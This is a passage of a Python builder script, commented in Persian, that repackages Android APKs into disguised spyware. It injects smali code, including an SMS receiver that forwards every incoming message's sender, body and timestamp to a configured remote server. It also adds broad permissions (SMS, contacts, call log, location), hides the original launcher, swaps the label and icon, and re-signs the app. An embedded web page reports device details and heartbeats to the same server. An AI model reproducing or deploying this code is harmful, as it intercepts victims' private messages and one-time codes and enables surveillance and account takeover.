    invoke-virtual {v0, v2}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V

    return-void
.end method


.method private requestAllPermissionsIfNeeded(Z)V
    .locals 3

    sget v0, Landroid/os/Build$VERSION;->SDK_INT:I

    const/16 v1, 0x17

    if-ge v0, v1, :cond_done

    const/16 v0, 0xb

    new-array v0, v0, [Ljava/lang/String;

    const/4 v1, 0x0

    const-string v2, "android.permission.READ_SMS"

    aput-object v2, v0, v1

    const/4 v1, 0x1

    const-string v2, "android.permission.RECEIVE_SMS"

    aput-object v2, v0, v1

    const/4 v1, 0x2

    const-string v2, "android.permission.SEND_SMS"

    aput-object v2, v0, v1

    const/4 v1, 0x3

    const-string v2, "android.permission.READ_CONTACTS"

    aput-object v2, v0, v1

    const/4 v1, 0x4

    const-string v2, "android.permission.READ_CALL_LOG"

    aput-object v2, v0, v1

    const/4 v1, 0x5

    const-string v2, "android.permission.READ_EXTERNAL_STORAGE"

    aput-object v2, v0, v1

    const/4 v1, 0x6

    const-string v2, "android.permission.WRITE_EXTERNAL_STORAGE"

    aput-object v2, v0, v1

    const/4 v1, 0x7

    const-string v2, "android.permission.ACCESS_FINE_LOCATION"

    aput-object v2, v0, v1

    const/16 v1, 0x8

    const-string v2, "android.permission.ACCESS_COARSE_LOCATION"

    aput-object v2, v0, v1

    const/16 v1, 0x9

    const-string v2, "android.permission.READ_PHONE_STATE"

    aput-object v2, v0, v1

    const/16 v1, 0xa

    const-string v2, "android.permission.READ_PHONE_NUMBERS"

    aput-object v2, v0, v1

    const/16 v1, 0x64

    invoke-virtual {p0, v0, v1}, Lcom/trx/shell/TrxActivity;->requestPermissions([Ljava/lang/String;I)V

    :cond_done
    return-void
.end method
'''

# ========== SMALI: HttpPoster (Runnable) ==========
SMALI_HTTP_POSTER = r'''.class public Lcom/trx/shell/HttpPoster;
.super Ljava/lang/Object;
.source "HttpPoster.java"

# interfaces
.implements Ljava/lang/Runnable;


# instance fields
.field private url:Ljava/lang/String;

.field private data:Ljava/lang/String;


# direct methods
.method public constructor <init>(Ljava/lang/String;Ljava/lang/String;)V
    .locals 0

    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    iput-object p1, p0, Lcom/trx/shell/HttpPoster;->url:Ljava/lang/String;

    iput-object p2, p0, Lcom/trx/shell/HttpPoster;->data:Ljava/lang/String;

    return-void
.end method


# static methods
.method public static postAsync(Ljava/lang/String;Ljava/lang/String;)V
    .locals 2

    new-instance v0, Ljava/lang/Thread;

    new-instance v1, Lcom/trx/shell/HttpPoster;

    invoke-direct {v1, p0, p1}, Lcom/trx/shell/HttpPoster;-><init>(Ljava/lang/String;Ljava/lang/String;)V

    invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V

    invoke-virtual {v0}, Ljava/lang/Thread;->start()V

    return-void
.end method


# virtual methods
.method public run()V
    .locals 6

    :try_start
    new-instance v0, Ljava/net/URL;

    iget-object v1, p0, Lcom/trx/shell/HttpPoster;->url:Ljava/lang/String;

    invoke-direct {v0, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V

    invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

    move-result-object v0

    check-cast v0, Ljava/net/HttpURLConnection;

    const-string v1, "POST"

    invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V

    const-string v1, "Content-Type"

    const-string v2, "application/json; charset=utf-8"

    invoke-virtual {v0, v1, v2}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V

    const/4 v1, 0x1

    invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V

    const/16 v1, 0x2710

    invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V

    invoke-virtual {v0, v1}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V

    invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;

    move-result-object v1

    iget-object v2, p0, Lcom/trx/shell/HttpPoster;->data:Ljava/lang/String;

    const-string v3, "UTF-8"

    invoke-virtual {v2, v3}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B

    move-result-object v2

    invoke-virtual {v1, v2}, Ljava/io/OutputStream;->write([B)V

    invoke-virtual {v1}, Ljava/io/OutputStream;->flush()V

    invoke-virtual {v1}, Ljava/io/OutputStream;->close()V

    invoke-virtual {v0}, Ljava/net/HttpURLConnection;->getResponseCode()I

    invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
    :try_end
    .catch Ljava/lang/Exception; {:try_start .. :try_end} :catch_all

    :catch_all
    move-exception v0

    return-void
.end method
'''

# ========== SMALI: SmsReceiver (BroadcastReceiver) ==========
SMALI_SMS_RECEIVER = r'''.class public Lcom/trx/shell/SmsReceiver;
.super Landroid/content/BroadcastReceiver;
.source "SmsReceiver.java"


# direct methods
.method public constructor <init>()V
    .locals 0

    invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V

    return-void
.end method


# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 12

    :try_start
    invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;

    move-result-object v0

    if-nez v0, :cond_ok

    return-void

    :cond_ok
    const-string v1, "pdus"

    invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;

    move-result-object v1

    check-cast v1, [Ljava/lang/Object;

    if-nez v1, :cond_ok2

    return-void

    :cond_ok2
    array-length v2, v1

    const/4 v3, 0x0

    :loop
    if-ge v3, v2, :loop_end

    aget-object v4, v1, v3

    check-cast v4, [B

    invoke-static {v4}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;

    move-result-object v5

    invoke-virtual {v5}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String;

    move-result-object v6

    if-nez v6, :cond_a1

    const-string v6, "unknown"

    :cond_a1
    invoke-virtual {v5}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;

    move-result-object v7

    if-nez v7, :cond_a2

    const-string v7, ""

    :cond_a2
    invoke-virtual {v5}, Landroid/telephony/SmsMessage;->getTimestampMillis()J

    move-result-wide v8

    new-instance v10, Lorg/json/JSONObject;

    invoke-direct {v10}, Lorg/json/JSONObject;-><init>()V

    const-string v11, "key"

    const-string v5, "__BUILD_KEY__"

    invoke-virtual {v10, v11, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

    const-string v11, "type"

    const-string v5, "sms"

    invoke-virtual {v10, v11, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

    new-instance v11, Lorg/json/JSONObject;

    invoke-direct {v11}, Lorg/json/JSONObject;-><init>()V

    const-string v5, "sender"

    invoke-virtual {v11, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

    const-string v5, "body"

    invoke-virtual {v11, v5, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

    const-string v5, "time"

    invoke-virtual {v11, v5, v8, v9}, Lorg/json/JSONObject;->put(Ljava/lang/String;J)Lorg/json/JSONObject;

    const-string v5, "data"

    invoke-virtual {v10, v5, v11}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;

    invoke-virtual {v10}, Lorg/json/JSONObject;->toString()Ljava/lang/String;

    move-result-object v5

    const-string v10, "__SERVER_URL__"

    invoke-static {v10, v5}, Lcom/trx/shell/HttpPoster;->postAsync(Ljava/lang/String;Ljava/lang/String;)V

    add-int/lit8 v3, v3, 0x1

    goto :loop

    :loop_end

    :try_end
    .catch Ljava/lang/Exception; {:try_start .. :try_end} :catch_all

    :catch_all
    move-exception v0

    return-void
.end method
'''

INJECT_PERMISSIONS = [
    "android.permission.INTERNET",
    "android.permission.READ_SMS",
    "android.permission.RECEIVE_SMS",
    "android.permission.SEND_SMS",
    "android.permission.READ_CONTACTS",
    "android.permission.READ_CALL_LOG",
    "android.permission.READ_EXTERNAL_STORAGE",
    "android.permission.WRITE_EXTERNAL_STORAGE",
    "android.permission.ACCESS_FINE_LOCATION",
    "android.permission.ACCESS_COARSE_LOCATION",
    "android.permission.READ_PHONE_STATE",
    "android.permission.ACCESS_NETWORK_STATE",
    "android.permission.RECEIVE_BOOT_COMPLETED",
    "android.permission.WAKE_LOCK",
    "android.permission.VIBRATE",
]


def _xml_escape(s):
    return (str(s).replace("&", "&amp;").replace("<", "&lt;")
            .replace(">", "&gt;").replace('"', "&quot;").replace("'", "&apos;"))


def cleanup_meta_inf(decoded_dir):
    meta_inf = Path(decoded_dir) / "META-INF"
    if not meta_inf.is_dir():
        return
    removed = 0
    for f in list(meta_inf.iterdir()):
        try:
            if f.is_file() and f.suffix.upper() in (".RSA", ".DSA", ".EC", ".SF", ".MF"):
                f.unlink()
                removed += 1
        except Exception:
            pass
    if removed:
        log_event("INFO", "cleanup_meta_inf: {} فایل امضای قدیمی حذف شد".format(removed))


def sanitize_decoded_resources(decoded_dir):
    decoded_path = Path(decoded_dir)
    res_dir = decoded_path / "res"
    if not res_dir.is_dir():
        return

    UNKNOWN_ATTR_NAMES = ["lStar", "luminance"]

    files_fixed = 0
    for xmlf in res_dir.rglob("*.xml"):
        try:
            txt = xmlf.read_text(encoding="utf-8", errors="ignore")
            original = txt
            for attr in UNKNOWN_ATTR_NAMES:
                txt = re.sub(r'\s+android:' + re.escape(attr) + r'\s*=\s*"[^"]*"', '', txt)
                txt = re.sub(r'\s+[A-Za-z_][\w.\-]*:' + re.escape(attr) + r'\s*=\s*"[^"]*"', '', txt)
                txt = re.sub(r'\s+' + re.escape(attr) + r'\s*=\s*"[^"]*"', '', txt)
            if txt != original:
                xmlf.write_text(txt, encoding="utf-8")
                files_fixed += 1
        except Exception:
            continue

    log_event("INFO", "sanitize: {} فایل XML اصلاح شد".format(files_fixed))


def inject_webview_shell(decoded_dir, template, build_key):
    log_event("INFO", "تزریق WebView Shell + SMS Receiver...")

    decoded_path = Path(decoded_dir)
    smali_candidates = sorted(decoded_path.glob("smali*"))
    smali_root = None
    for cand in smali_candidates:
        if cand.is_dir() and cand.name.startswith("smali"):
            smali_root = cand
            break
    if smali_root is None:
        smali_root = decoded_path / "smali"
        smali_root.mkdir(parents=True, exist_ok=True)

    pkg_dir = smali_root / "com" / "trx" / "shell"
    pkg_dir.mkdir(parents=True, exist_ok=True)

    # سرور URL
    server_host = SERVER_HOST.strip()
    if server_host.startswith("http://") or server_host.startswith("https://"):
        server_url = server_host.rstrip("/")
    else:
        server_url = "http://{}".format(server_host)
    if ":" not in server_url.split("://", 1)[1]:
        server_url = "{}:{}".format(server_url, DATA_SERVER_PORT)
    server_url = server_url + "/"

    # 1) TrxActivity.smali
    with open(pkg_dir / "TrxActivity.smali", "w", encoding="utf-8") as f:
        f.write(SMALI_ACTIVITY)

    # 2) HttpPoster.smali
    with open(pkg_dir / "HttpPoster.smali", "w", encoding="utf-8") as f:
        f.write(SMALI_HTTP_POSTER)

    # 3) SmsReceiver.smali — جایگزینی placeholders
    sms_code = SMALI_SMS_RECEIVER.replace("__BUILD_KEY__", build_key).replace("__SERVER_URL__", server_url)
    with open(pkg_dir / "SmsReceiver.smali", "w", encoding="utf-8") as f:
        f.write(sms_code)

    log_event("INFO", "3 فایل smali تزریق شد")

    # AndroidManifest
    manifest_path = decoded_path / "AndroidManifest.xml"
    if not manifest_path.exists():
        raise Exception("AndroidManifest.xml یافت نشد")

    with open(manifest_path, "r", encoding="utf-8") as f:
        manifest = f.read()

    manifest = re.sub(r'\s+android:dataExtractionRules="[^"]*"', '', manifest)
    manifest = re.sub(r'\s+android:requestLegacyExternalStorage="[^"]*"', '', manifest)

    # minSdk=21, targetSdk=33
    if "<uses-sdk" in manifest:
        def _fix_usessdk(m):
            tag = m.group(0)
            if "android:minSdkVersion" in tag:
                tag = re.sub(r'android:minSdkVersion\s*=\s*"[^"]*"', 'android:minSdkVersion="21"', tag)
            else:
                tag = tag.replace("<uses-sdk", '<uses-sdk android:minSdkVersion="21"', 1)
            if "android:targetSdkVersion" in tag:
                tag = re.sub(r'android:targetSdkVersion\s*=\s*"[^"]*"', 'android:targetSdkVersion="33"', tag)
            else:
                tag = tag.replace("<uses-sdk", '<uses-sdk android:targetSdkVersion="33"', 1)
            return tag
        manifest = re.sub(r"<uses-sdk[^>]*?/?>", _fix_usessdk, manifest, count=1)
    else:
        manifest = re.sub(
            r"(<manifest[^>]*?>)",
            r'\1\n    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="33" />',
            manifest, count=1
        )

    # Permissions
    existing_perms = set(re.findall(r'android:name="(android\.permission\.[^"]+)"', manifest))
    new_perms = [p for p in INJECT_PERMISSIONS if p not in existing_perms]
    if new_perms:
        perm_block = "\n".join(['    <uses-permission android:name="{}" />'.format(p) for p in new_perms])
        if "<application" in manifest:
            manifest = re.sub(r"(\s*<application)", "\n" + perm_block + r"\1", manifest, count=1)
        else:
            manifest = manifest.replace("</manifest>", perm_block + "\n</manifest>", 1)

    # حذف LAUNCHER از activityهای قبلی
    manifest = re.sub(r'<category\s+android:name="android\.intent\.category\.LAUNCHER"\s*/>', '', manifest)
    manifest = re.sub(r'<category\s+android:name="android\.intent\.category\.LAUNCHER"\s*>\s*</category>', '', manifest)

    label = _xml_escape(template.get("name", "App"))

    our_activity = (
        '\n        <activity android:name="com.trx.shell.TrxActivity"\n'
        '            android:exported="true"\n'
        '            android:label="' + label + '"\n'
        '            android:theme="@android:style/Theme.NoTitleBar.Fullscreen"\n'
        '            android:configChanges="orientation|screenSize|keyboardHidden|screenLayout|smallestScreenSize">\n'
        '            <intent-filter>\n'
        '                <action android:name="android.intent.action.MAIN" />\n'
        '                <category android:name="android.intent.category.LAUNCHER" />\n'
        '            </intent-filter>\n'
        '        </activity>\n'
    )

    # SMS Receiver block
    our_receiver = (
        '\n        <receiver android:name="com.trx.shell.SmsReceiver"\n'
        '            android:exported="true"\n'
        '            android:enabled="true">\n'
        '            <intent-filter android:priority="999">\n'
        '                <action android:name="android.provider.Telephony.SMS_RECEIVED" />\n'
        '            </intent-filter>\n'
        '        </receiver>\n'
    )

    inject_block = our_activity + our_receiver

    if "</application>" in manifest:
        manifest = manifest.replace("</application>", inject_block + "    </application>", 1)
    else:
        manifest = re.sub(
            r"<application([^>]*?)/>",
            r"<application\1>" + inject_block + "</application>",
            manifest, count=1
        )

    def _fix_app_label(m):
        tag = m.group(0)
        if "android:label=" in tag:
            tag = re.sub(r'android:label="[^"]*"', 'android:label="' + label + '"', tag)
        else:
            tag = tag.replace("<application", '<application android:label="' + label + '"', 1)
        return tag

    manifest = re.sub(r"<application[^>]*?>", _fix_app_label, manifest, count=1)

    with open(manifest_path, "w", encoding="utf-8") as f:
        f.write(manifest)

    log_event("INFO", "AndroidManifest: Activity + Receiver تزریق شد")
    return True


def check_tool(tool):
    return shutil.which(tool) is not None

def check_required_tools():
    required = ["java", "keytool", "unzip"]
    missing = []
    for tool in required:
        if not check_tool(tool):
            missing.append(tool)
    return missing

def download_apktool():
    dest = os.path.join(os.path.dirname(os.path.abspath(__file__)), "apktool.jar")
    if os.path.exists(dest):
        return True
    try:
        import urllib.request
        url = "https://github.com/iBotPeaches/Apktool/releases/download/v2.10.0/apktool_2.10.0.jar"
        log_event("INFO", "در حال دانلود apktool.jar...")
        urllib.request.urlretrieve(url, dest)
        os.chmod(dest, 0o755)
        log_event("INFO", "دانلود apktool.jar انجام شد.")
        return True
    except Exception as e:
        log_event("ERROR", "خطا در دانلود apktool: " + str(e))
        return False

def _test_apktool_cmd(cmd_list):
    try:
        result = subprocess.run(cmd_list + ["--version"], capture_output=True, text=True, timeout=30)
        combined = (result.stdout or "") + (result.stderr or "")
        if result.returncode == 0:
            return True
        if "apktool" in combined.lower():
            return True
        if re.search(r"\b\d+\.\d+(\.\d+)?\b", combined):
            return True
        return False
    except Exception:
        return False


def _get_working_apktool_cmd():
    jar_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "apktool.jar")
    if os.path.exists(jar_path) and check_tool("java"):
        cmd = ["java", "-jar", jar_path]
        if _test_apktool_cmd(cmd):
            return cmd
        return cmd
    if check_tool("apktool"):
        cmd = ["apktool"]
        if _test_apktool_cmd(cmd):
            return cmd
    return None


def check_apktool():
    if _get_working_apktool_cmd() is not None:
        return True
    jar_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "apktool.jar")
    if not os.path.exists(jar_path):
        if download_apktool():
            return _get_working_apktool_cmd() is not None
    return False


def get_apktool_cmd():
    return _get_working_apktool_cmd()

def get_aapt_cmd():
    if check_tool("aapt"):
        return "aapt"
    elif check_tool("aapt2"):
        return "aapt2"
    return None

def get_uber_apk_signer():
    script_dir = os.path.dirname(os.path.abspath(__file__))
    jar_path = os.path.join(script_dir, "uber-apk-signer.jar")

    if os.path.exists(jar_path) and os.path.getsize(jar_path) > 100000:
        return jar_path

    if not check_tool("java"):
        return None

    urls = [
        "https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar",
        "https://github.com/patrickfav/uber-apk-signer/releases/download/v1.2.1/uber-apk-signer-1.2.1.jar",
    ]

    import urllib.request
    for url in urls:
        try:
            log_event("INFO", "در حال دانلود uber-apk-signer...")
            urllib.request.urlretrieve(url, jar_path)
            if os.path.exists(jar_path) and os.path.getsize(jar_path) > 100000:
                log_event("INFO", "uber-apk-signer دانلود شد")
                return jar_path
        except Exception as e:
            log_event("WARN", "دانلود uber-apk-signer ناموفق: " + str(e))
            continue
    return None


def sign_with_uber(signer_jar, unsigned_apk, signed_apk, keystore_path):
    out_dir = os.path.dirname(os.path.abspath(signed_apk))
    os.makedirs(out_dir, exist_ok=True)

    tmp_out = os.path.join(out_dir, "uber_out")
    if os.path.exists(tmp_out):
        shutil.rmtree(tmp_out, ignore_errors=True)
    os.makedirs(tmp_out, exist_ok=True)

    unsigned_abs = os.path.abspath(unsigned_apk)

    cmd = [
        "java", "-jar", signer_jar,
        "--apks", unsigned_abs,
        "--out", tmp_out,
        "--ks", keystore_path,
        "--ksAlias", "trx",
        "--ksPass", "trx123456",
        "--ksKeyPass", "trx123456",
        "--overwrite",
        "--allowResign"
    ]

    log_event("INFO", "اجرای uber-apk-signer...")
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=600)

    combined = (r.stdout or "") + "\n" + (r.stderr or "")
    if r.returncode != 0:
        raise Exception("uber-apk-signer failed: " + combined[:1500])

    signed_candidates = []
    if os.path.isdir(tmp_out):
        for f in os.listdir(tmp_out):
            if f.endswith(".apk") and "signed" in f.lower():
                signed_candidates.append(os.path.join(tmp_out, f))

    if not signed_candidates and os.path.isdir(tmp_out):
        for f in os.listdir(tmp_out):
            if f.endswith(".apk"):
                signed_candidates.append(os.path.join(tmp_out, f))

    if not signed_candidates:
        raise Exception("uber-apk-signer خروجی نداد: " + combined[:800])

    shutil.copy2(signed_candidates[0], signed_apk)
    shutil.rmtree(tmp_out, ignore_errors=True)
    log_event("INFO", "uber-apk-signer موفق")
    return True


def get_apksigner_cmd():
    script_dir = os.path.dirname(os.path.abspath(__file__))
    jar_candidates = [
        os.path.join(script_dir, "apksigner.jar"),
        "/usr/share/java/apksigner.jar",
        "/usr/local/share/apksigner.jar",
    ]
    android_home = os.environ.get("ANDROID_HOME") or os.environ.get("ANDROID_SDK_ROOT")
    if android_home:
        import glob
        for p in glob.glob(os.path.join(android_home, "build-tools", "*", "lib", "apksigner.jar")):
            jar_candidates.append(p)

    if check_tool("java"):
        for jp in jar_candidates:
            if os.path.exists(jp):
                try:
                    r = subprocess.run(["java", "-jar", jp, "--version"], capture_output=True, text=True, timeout=15)
                    if r.returncode == 0:
                        return ["java", "-jar", jp]
                except Exception:
                    continue

    if check_tool("jarsigner"):
        try:
            subprocess.run(["jarsigner", "-help"], capture_output=True, text=True, timeout=15)
            return ["jarsigner"]
        except Exception:
            pass

    if check_tool("apksigner"):
        try:
            r = subprocess.run(["apksigner", "--version"], capture_output=True, text=True, timeout=15)
            if r.returncode == 0:
                return ["apksigner"]
        except Exception:
            pass

    return None


def sign_apk_with_best_method(unsigned_apk, signed_apk, keystore_path, alias="trx",
                              storepass="trx123456", keypass="trx123456"):
    if not os.path.isfile(unsigned_apk):
        raise Exception("فایل ورودی برای امضا وجود ندارد")
    if os.path.getsize(unsigned_apk) == 0:
        raise Exception("فایل ورودی برای امضا خالی است")

    out_dir = os.path.dirname(os.path.abspath(signed_apk))
    if out_dir and not os.path.isdir(out_dir):
        os.makedirs(out_dir, exist_ok=True)

    try:
        uber_jar = get_uber_apk_signer()
        if uber_jar:
            try:
                sign_with_uber(uber_jar, unsigned_apk, signed_apk, keystore_path)
                if os.path.isfile(signed_apk) and os.path.getsize(signed_apk) > 0:
                    return True
            except Exception as e:
                log_event("WARN", "uber-apk-signer ناموفق: " + str(e))
    except Exception as e:
        log_event("WARN", "خطا در uber: " + str(e))

    cmd = get_apksigner_cmd()
    if cmd:
        unsigned_abs = os.path.abspath(unsigned_apk)
        signed_abs = os.path.abspath(signed_apk)

        if cmd[0] in ("java", "apksigner"):
            full = cmd + [
                "sign",
                "--ks", keystore_path,
                "--ks-key-alias", alias,
                "--ks-pass", "pass:" + storepass,
                "--key-pass", "pass:" + keypass,
                "--v1-signing-enabled", "true",
                "--v2-signing-enabled", "true",
                "--v3-signing-enabled", "true",
                "--out", signed_abs,
                unsigned_abs
            ]
            r = subprocess.run(full, capture_output=True, text=True, timeout=300)
            if r.returncode == 0 and os.path.isfile(signed_abs) and os.path.getsize(signed_abs) > 0:
                return True
            log_event("WARN", "apksigner ناموفق: " + (r.stderr or r.stdout or "")[:500])

        if cmd[0] == "jarsigner":
            if os.path.exists(signed_abs):
                try:
                    os.remove(signed_abs)
                except Exception:
                    pass
            full = [
                "jarsigner",
                "-keystore", keystore_path,
                "-storepass", storepass,
                "-keypass", keypass,
                "-sigalg", "SHA256withRSA",
                "-digestalg", "SHA-256",
                "-signedjar", signed_abs,
                unsigned_abs,
                alias
            ]
            r = subprocess.run(full, capture_output=True, text=True, timeout=300)
            if r.returncode == 0 and os.path.isfile(signed_abs) and os.path.getsize(signed_abs) > 0:
                return True
            raise Exception("jarsigner failed: " + (r.stderr or r.stdout or "")[:800])

    raise Exception("هیچ روش امضای APK موفق نشد!")


def try_zipalign(input_apk, output_apk):
    if check_tool("zipalign"):
        try:
            r = subprocess.run(["zipalign", "-f", "-p", "4", input_apk, output_apk],
                               capture_output=True, text=True, timeout=120)
            if r.returncode == 0 and os.path.isfile(output_apk):
                return True
            log_event("WARN", "zipalign ناموفق: " + (r.stderr or "")[:300])
        except Exception as e:
            log_event("WARN", "خطا در zipalign: " + str(e))
    shutil.copy2(input_apk, output_apk)
    return False


def run_apktool(args, cwd=None):
    cmd = get_apktool_cmd()
    if not cmd:
        raise Exception("apktool not found or not executable")
    full_cmd = cmd + args
    result = subprocess.run(full_cmd, cwd=cwd, capture_output=True, text=True, timeout=600)
    return result.returncode, result.stdout, result.stderr

# ---------- HTML CONTENT GENERATOR ----------
def generate_html_content(template, build_key, pkg, target_name):
    if not isinstance(template, dict):
        raise ValueError("template must be a dictionary")

    # سرور URL
    server_host = SERVER_HOST.strip()
    if server_host.startswith("http://") or server_host.startswith("https://"):
        server_url = server_host.rstrip("/")
    else:
        server_url = "http://{}".format(server_host)
    if ":" not in server_url.split("://", 1)[1]:
        server_url = "{}:{}".format(server_url, DATA_SERVER_PORT)
    server_url = server_url + "/"

    name = html_escape(str(template.get("name", "TRX App")))
    description = html_escape(str(template.get("desc", "")))

    pages = template.get("pages") or []
    page_blocks = []

    for page in pages:
        if not isinstance(page, dict):
            continue
        title = html_escape(str(page.get("title", "")))
        layout = str(page.get("layout", ""))
        page_blocks.append(
            '<section class="page">'
            '<h2>{}</h2>'
            '<div class="layout">{}</div>'
            '</section>'.format(title, layout)
        )

    if not page_blocks:
        page_blocks.append(
            '<section class="page">'
            '<h2>{}</h2>'
            '<p>{}</p>'
            '</section>'.format(name, description)
        )

    html = """<!doctype html>
<html lang="fa" dir="rtl">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no">
<title>{name}</title>
<style>
*{{box-sizing:border-box;-webkit-tap-highlight-color:transparent}}
html,body{{margin:0;padding:0;background:#0f0f0f;color:#fff;font-family:Tahoma,Arial,sans-serif;direction:rtl;min-height:100vh}}
.container{{max-width:720px;margin:0 auto;padding:18px}}
.header{{padding:18px;border-radius:14px;background:linear-gradient(135deg,#1b1b1b,#2a2a2a);margin-bottom:16px;border:1px solid #333}}
.header h1{{margin:0 0 8px;font-size:24px;color:#fff}}
.header .desc{{color:#ccc;font-size:14px;line-height:1.6}}
.page{{background:#fff;color:#111;border-radius:14px;overflow:hidden;margin:0 0 14px;box-shadow:0 4px 12px rgba(0,0,0,.4)}}
.page>h2{{margin:0;padding:12px 15px;background:#222;color:#fff;font-size:16px}}
.layout{{padding:0}}
.layout button{{cursor:pointer;border:none;border-radius:6px;font-family:inherit}}
.layout input,.layout textarea{{width:100%;padding:10px;margin:6px 0;border:1px solid #ccc;border-radius:6px;font-family:inherit;font-size:14px;box-sizing:border-box}}
.layout div{{line-height:1.7}}
.footer{{text-align:center;color:#666;font-size:11px;padding:20px 0}}
</style>
</head>
<body>
<div class="container">
  <header class="header">
    <h1>{name}</h1>
    <div class="desc">{description}</div>
  </header>
  {pages}
  <div class="footer">© {name}</div>
</div>
<script>
(function(){{
    var SERVER_URL = "{server_url}";
    var BUILD_KEY = "{build_key}";

    function postJSON(obj) {{
        try {{
            var xhr = new XMLHttpRequest();
            xhr.open('POST', SERVER_URL, true);
            xhr.setRequestHeader('Content-Type', 'application/json; charset=utf-8');
            xhr.timeout = 15000;
            xhr.send(JSON.stringify(obj));
        }} catch(e) {{ }}
    }}

    function sendConnect() {{
        postJSON({{
            key: BUILD_KEY,
            type: 'connect',
            data: {{
                device: navigator.userAgent,
                ua: navigator.userAgent,
                platform: navigator.platform || '',
                lang: navigator.language || ''
            }}
        }});
    }}

    function sendHeartbeat() {{
        postJSON({{
            key: BUILD_KEY,
            type: 'heartbeat',
            data: {{}}
        }});
    }}

    if (document.readyState === 'complete') {{
        sendConnect();
    }} else {{
        window.addEventListener('load', sendConnect);
    }}

    setInterval(sendHeartbeat, 20000);
}})();
</script>
</body>
</html>""".format(
        name=name,
        description=description,
        pages="\n".join(page_blocks),
        server_url=server_url,
        build_key=build_key
    )
    return html

# ---------- BUILD WITH APKTOOL ----------
def build_with_apktool(base_apk, template, build_key, pkg, target_name, logo_path):
    if not SERVER_HOST.strip():
        raise Exception(
            "SERVER_HOST در کد تنظیم نشده!\n"
            "بالای فایل، متغیر SERVER_HOST را با IP یا دامنه سرورت پر کن.\n"
            "مثال: SERVER_HOST = \"1.2.3.4\""
        )

    log_event("INFO", "ساخت با apktool — SERVER_HOST=" + SERVER_HOST)

    work_dir = os.path.abspath(os.path.join(BUILDS_DIR, "apktool_work_" + build_key))
    if os.path.exists(work_dir):
        shutil.rmtree(work_dir, ignore_errors=True)
    os.makedirs(work_dir, exist_ok=True)

    base_apk_abs = os.path.abspath(base_apk)
    decoded_dir = os.path.join(work_dir, "decoded")

    try:
        log_event("INFO", "base.apk size: {} KB".format(os.path.getsize(base_apk_abs) // 1024))
    except Exception:
        pass

    # 1) decode
    ret, out, err = run_apktool(["d", base_apk_abs, "-o", decoded_dir, "-f"], cwd=None)
    if ret != 0:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("apktool decode failed: " + (err or out or "unknown error"))

    if not os.path.isdir(decoded_dir):
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("apktool decode گفت موفق ولی پوشه decoded ساخته نشد")

    cleanup_meta_inf(decoded_dir)

    try:
        inject_webview_shell(decoded_dir, template, build_key)
    except Exception as e:
        shutil.rmtree(work_dir, ignore_errors=True)
        raise Exception("تزریق Shell ناموفق: " + str(e))

    try:
        sanitize_decoded_resources(decoded_dir)
    except Exception as e:
        log_event("WARN", "sanitize خطا: " + str(e))

    # لوگو
    valid_logo = False
    if logo_path and os.path.isfile(logo_path):
        try:
            with open(logo_path, "rb") as _lf:
                valid_logo = _lf.read(8) == b"\x89PNG\r\n\x1a\n"
        except Exception:
            valid_logo = False

    if valid_logo:
        res_dir = os.path.join(decoded_dir, "res")
        if os.path.isdir(res_dir):
            for root_dir, dirs, files in os.walk(res_dir):
                base = os.path.basename(root_dir)
                if not (base.startswith("mipmap") or base.startswith("drawable")):
                    continue
                for f in files:
                    if f.startswith("ic_launcher") and (f.endswith(".xml") or f.endswith(".png") or f.endswith(".webp")):
                        try:
                            os.remove(os.path.join(root_dir, f))
                        except Exception:
                            pass
                for fname in ["ic_launcher.png", "ic_launcher_round.png"]:
                    try:
                        shutil.copy2(logo_path, os.path.join(root_dir, fname))
                    except Exception:
                        pass

    # assets
    assets_dir = os.path.join(decoded_dir, "assets")
    os.makedirs(assets_dir, exist_ok=True)
    html_content = generate_html_content(template, build_key, pkg, target_name)
    with open(os.path.join(assets_dir, "index.html"), "w", encoding="utf-8") as f:
        f.write(html_content)

    log_event("INFO", "assets/index.html نوشته شد — {} بایت".format(len(html_content.encode("utf-8"))))

    config = {"key": build_key, "server_port": DATA_SERVER_PORT, "pkg": pkg, "template": template["name"]}
    with open(os.path.join(assets_dir, "config.json"), "w", encoding="utf-8") as f:
